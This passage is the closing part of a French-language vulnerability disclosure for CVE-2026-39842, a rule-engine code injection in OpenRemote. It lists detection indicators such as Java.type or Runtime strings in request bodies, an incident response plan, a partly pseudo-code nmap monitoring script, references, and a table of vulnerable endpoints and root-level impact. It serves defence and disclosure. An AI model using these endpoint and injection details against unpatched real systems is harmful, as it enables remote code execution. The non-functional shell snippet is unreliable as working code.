- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
```
**5. Plan de réponse aux incidents**
Créez et testez des procédures de réponse aux incidents :
- Étapes d'isolation pour les instances OpenRemote compromises
- Procédures de collecte de preuves numériques
- Procédures de notification des clients concernés
- Procédures de récupération et de nettoyage
- Revues post-incident
**6. Surveillance continue**
Mettez en œuvre une surveillance de sécurité continue :```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
$(cat /etc/openremote/monitored_hosts.txt) \
--script-args 'onerror=continue' \
-oX /var/log/openremote-scan.xml
# Automated alerts for vulnerable versions
if version <= 1.21.0; then
send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
```
---
## Références
- **Avis officiel** : https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **Enregistrement CVE** : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **Entrée NVD** : https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **Dépôt OpenRemote** : https://github.com/openremote/openremote
- **Sécurité OpenRemote** : https://openremote.io/security
- **CWE-94 Injection de code** : https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 Injection EL** : https://cwe.mitre.org/data/definitions/917.html
- **Calculateur CVSS** : https://www.first.org/cvss/calculator/3.1
- **Sécurité Nashorn** : https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager** : https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html
---
## Auteur
**Kerem Oruc**
Chercheur en sécurité, divulgation de vulnérabilités
Pour toute question, rapport ou information supplémentaire concernant cette vulnérabilité, veuillez contacter l'auteur via les canaux de divulgation responsable.
---
**Dernière mise à jour** : 2026-04-16
**Version** : 1.0
**Statut** : Public
| Aspect | Détails |
|---|
| ID CVE | CVE-2026-39842 |
| ID GHSA | GHSA-7mqr-33rv-p3mp |
| Type de vulnérabilité | Injection de code / Injection de langage d'expression |
| Score CVSS | 10.0 (Critique) |
| CWE | CWE-94, CWE-917 |
| Produit | OpenRemote |
| Versions concernées | <= 1.21.0 |
| Version corrigée | >= 1.22.0 |
| Authentification requise | Oui |
| Niveau de privilège requis | Rôle write:rules (non-superutilisateur) |
| Points de terminaison vulnérables | POST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset |
| Niveau d'exécution RCE | root |
| Exploitabilité | Élevée |
| Complexité | Faible |
| Date de découverte | 2026 |